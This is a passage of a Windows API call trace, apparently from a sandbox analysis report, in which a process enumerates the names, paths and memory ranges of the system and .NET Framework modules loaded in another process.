GetModuleFileNameExW (in: hProcess=0x284, hModule=0x758a0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0229.555] CoTaskMemFree (pv=0x6681b48) [0229.555] GetModuleInformation (in: hProcess=0x284, hModule=0x75670000, lpmodinfo=0x25f4d14, cb=0xc | out: lpmodinfo=0x25f4d14*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0229.555] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.555] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75670000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0229.556] CoTaskMemFree (pv=0x6681b48) [0229.556] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.556] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75670000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0229.556] CoTaskMemFree (pv=0x6681b48) [0229.556] GetModuleInformation (in: hProcess=0x284, hModule=0x75660000, lpmodinfo=0x25f6e20, cb=0xc | out: lpmodinfo=0x25f6e20*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0229.557] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.557] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75660000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0229.557] CoTaskMemFree (pv=0x6681b48) [0229.557] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.557] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75660000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0229.558] CoTaskMemFree (pv=0x6681b48) [0229.558] GetModuleInformation (in: hProcess=0x284, hModule=0x73620000, lpmodinfo=0x25f8f34, cb=0xc | out: lpmodinfo=0x25f8f34*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0229.558] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.558] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73620000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0229.558] CoTaskMemFree (pv=0x6681b48) [0229.559] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.559] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73620000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0229.559] CoTaskMemFree (pv=0x6681b48) [0229.559] GetModuleInformation (in: hProcess=0x284, hModule=0x75db0000, lpmodinfo=0x25fb07c, cb=0xc | out: lpmodinfo=0x25fb07c*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0229.559] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.559] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75db0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0229.560] CoTaskMemFree (pv=0x6681b48) [0229.560] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.560] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75db0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0229.560] CoTaskMemFree (pv=0x6681b48) [0229.560] GetModuleInformation (in: hProcess=0x284, hModule=0x75810000, lpmodinfo=0x25fd188, cb=0xc | out: lpmodinfo=0x25fd188*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0229.561] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.561] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75810000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0229.561] CoTaskMemFree (pv=0x6681b48) [0229.561] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.561] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75810000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0229.562] CoTaskMemFree (pv=0x6681b48) [0229.562] GetModuleInformation (in: hProcess=0x284, hModule=0x75e10000, lpmodinfo=0x25ff28c, cb=0xc | out: lpmodinfo=0x25ff28c*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0229.562] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.562] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e10000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0229.563] CoTaskMemFree (pv=0x6681b48) [0229.563] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.563] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e10000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0229.563] CoTaskMemFree (pv=0x6681b48) [0229.563] GetModuleInformation (in: hProcess=0x284, hModule=0x772c0000, lpmodinfo=0x2601398, cb=0xc | out: lpmodinfo=0x2601398*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0229.564] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.564] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772c0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0229.566] CoTaskMemFree (pv=0x6681b48) [0229.566] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.566] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772c0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0229.566] CoTaskMemFree (pv=0x6681b48) [0229.566] GetModuleInformation (in: hProcess=0x284, hModule=0x75a30000, lpmodinfo=0x2603494, cb=0xc | out: lpmodinfo=0x2603494*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0229.567] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.567] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a30000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0229.567] CoTaskMemFree (pv=0x6681b48) [0229.567] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.567] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a30000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0229.568] CoTaskMemFree (pv=0x6681b48) [0229.568] GetModuleInformation (in: hProcess=0x284, hModule=0x75ae0000, lpmodinfo=0x2605624, cb=0xc | out: lpmodinfo=0x2605624*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0229.568] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.568] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ae0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0229.569] CoTaskMemFree (pv=0x6681b48) [0229.569] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.569] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ae0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0229.569] CoTaskMemFree (pv=0x6681b48) [0229.570] GetModuleInformation (in: hProcess=0x284, hModule=0x75be0000, lpmodinfo=0x2607728, cb=0xc | out: lpmodinfo=0x2607728*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0229.570] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.570] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75be0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0229.571] CoTaskMemFree (pv=0x6681b48) [0229.571] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.571] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75be0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0229.571] CoTaskMemFree (pv=0x6681b48) [0229.571] GetModuleInformation (in: hProcess=0x284, hModule=0x73610000, lpmodinfo=0x260982c, cb=0xc | out: lpmodinfo=0x260982c*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0229.572] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.572] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73610000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0229.572] CoTaskMemFree (pv=0x6681b48) [0229.572] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.573] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73610000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0229.573] CoTaskMemFree (pv=0x6681b48) [0229.573] GetModuleInformation (in: hProcess=0x284, hModule=0x72f40000, lpmodinfo=0x260b938, cb=0xc | out: lpmodinfo=0x260b938*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0229.574] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.574] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72f40000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0229.574] CoTaskMemFree (pv=0x6681b48) [0229.574] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.574] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72f40000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0229.575] CoTaskMemFree (pv=0x6681b48) [0229.575] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x260da68, cb=0xc | out: lpmodinfo=0x260da68*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0229.575] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.575] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0229.576] CoTaskMemFree (pv=0x6681b48) [0229.576] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.576] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0229.577] CoTaskMemFree (pv=0x6681b48) [0229.577] GetModuleInformation (in: hProcess=0x284, hModule=0x74310000, lpmodinfo=0x260fb9c, cb=0xc | out: lpmodinfo=0x260fb9c*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0229.577] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.577] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74310000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0229.578] CoTaskMemFree (pv=0x6681b48) [0229.578] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.578] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74310000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0229.579] CoTaskMemFree (pv=0x6681b48) [0229.579] GetModuleInformation (in: hProcess=0x284, hModule=0x77060000, lpmodinfo=0x2611d44, cb=0xc | out: lpmodinfo=0x2611d44*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0229.689] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.689] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77060000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0229.689] CoTaskMemFree (pv=0x6681b48) [0229.689] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.689] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77060000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0229.690] CoTaskMemFree (pv=0x6681b48) [0229.690] GetModuleInformation (in: hProcess=0x284, hModule=0x73e60000, lpmodinfo=0x2613e48, cb=0xc | out: lpmodinfo=0x2613e48*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0229.691] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.691] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73e60000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0229.691] CoTaskMemFree (pv=0x6681b48) [0229.691] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.691] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73e60000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0229.692] CoTaskMemFree (pv=0x6681b48) [0229.692] GetModuleInformation (in: hProcess=0x284, hModule=0x72590000, lpmodinfo=0x2615f54, cb=0xc | out: lpmodinfo=0x2615f54*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0229.692] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.693] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72590000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0229.693] CoTaskMemFree (pv=0x6681b48) [0229.693] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.693] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72590000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0229.694] CoTaskMemFree (pv=0x6681b48) [0229.694] GetModuleInformation (in: hProcess=0x284, hModule=0x71e70000, lpmodinfo=0x26180f0, cb=0xc | out: lpmodinfo=0x26180f0*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0229.695] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.695] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71e70000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0229.695] CoTaskMemFree (pv=0x6681b48) [0229.695] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.695] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71e70000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0229.696] CoTaskMemFree (pv=0x6681b48) [0229.696] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x261a2ac, cb=0xc | out: lpmodinfo=0x261a2ac*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0229.697] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.697] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0229.697] CoTaskMemFree (pv=0x6681b48) [0229.697] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.697] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0229.698] CoTaskMemFree (pv=0x6681b48) [0229.698] GetModuleInformation (in: hProcess=0x284, hModule=0x73f00000, lpmodinfo=0x261c4a0, cb=0xc | out: lpmodinfo=0x261c4a0*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0229.699] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.699] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73f00000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0229.699] CoTaskMemFree (pv=0x6681b48) [0229.699] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.699] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73f00000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0229.700] CoTaskMemFree (pv=0x6681b48) [0229.700] GetModuleInformation (in: hProcess=0x284, hModule=0x76e30000, lpmodinfo=0x261e5e0, cb=0xc | out: lpmodinfo=0x261e5e0*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0229.701] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.701] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76e30000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0229.702] CoTaskMemFree (pv=0x6681b48) [0229.702] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.702] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76e30000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0229.702] CoTaskMemFree (pv=0x6681b48) [0229.702] GetModuleInformation (in: hProcess=0x284, hModule=0x73b00000, lpmodinfo=0x26206f4, cb=0xc | out: lpmodinfo=0x26206f4*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0229.703] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.703] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73b00000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0229.704] CoTaskMemFree (pv=0x6681b48) [0229.704] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.704] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73b00000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0229.705] CoTaskMemFree (pv=0x6681b48) [0229.705] GetModuleInformation (in: hProcess=0x284, hModule=0x71210000, lpmodinfo=0x26228c0, cb=0xc | out: lpmodinfo=0x26228c0*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0229.706] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.706] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71210000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0229.707] CoTaskMemFree (pv=0x6681b48) [0229.707] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.707] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71210000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0229.708] CoTaskMemFree (pv=0x6681b48) [0229.708] GetModuleInformation (in: hProcess=0x284, hModule=0x73ee0000, lpmodinfo=0x2624ab0, cb=0xc | out: lpmodinfo=0x2624ab0*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0229.708] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.708] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ee0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0229.709] CoTaskMemFree (pv=0x6681b48) [0229.709] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.709] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ee0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0229.710] CoTaskMemFree (pv=0x6681b48) [0229.710] GetModuleInformation (in: hProcess=0x284, hModule=0x73ac0000, lpmodinfo=0x2626cc8, cb=0xc | out: lpmodinfo=0x2626cc8*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0229.711] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.711] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ac0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0229.711] CoTaskMemFree (pv=0x6681b48) [0229.712] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.712] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ac0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0229.712] CoTaskMemFree (pv=0x6681b48) [0229.712] GetModuleInformation (in: hProcess=0x284, hModule=0x73a30000, lpmodinfo=0x2628dd4, cb=0xc | out: lpmodinfo=0x2628dd4*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0229.713] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.713] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a30000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0229.714] CoTaskMemFree (pv=0x6681b48) [0229.714] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.714] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a30000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0229.715] CoTaskMemFree (pv=0x6681b48) [0229.715] GetModuleInformation (in: hProcess=0x284, hModule=0x73a10000, lpmodinfo=0x262af9c, cb=0xc | out: lpmodinfo=0x262af9c*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0229.715] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.715] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a10000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0229.716] CoTaskMemFree (pv=0x6681b48) [0229.716] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.716] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a10000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0229.716] CoTaskMemFree (pv=0x6681b48) [0229.717] GetModuleInformation (in: hProcess=0x284, hModule=0x73940000, lpmodinfo=0x262d0ec, cb=0xc | out: lpmodinfo=0x262d0ec*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0229.717] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.717] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73940000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0229.718] CoTaskMemFree (pv=0x6681b48) [0229.718] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.718] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73940000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0229.719] CoTaskMemFree (pv=0x6681b48) [0229.719] GetModuleInformation (in: hProcess=0x284, hModule=0x71080000, lpmodinfo=0x262f2e8, cb=0xc | out: lpmodinfo=0x262f2e8*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0229.719] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.719] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71080000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0229.720] CoTaskMemFree (pv=0x6681b48) [0229.720] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.720] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71080000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0229.721] CoTaskMemFree (pv=0x6681b48) [0229.721] GetModuleInformation (in: hProcess=0x284, hModule=0x70ee0000, lpmodinfo=0x2631498, cb=0xc | out: lpmodinfo=0x2631498*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0229.722] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.722] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70ee0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="comctl32.dll") 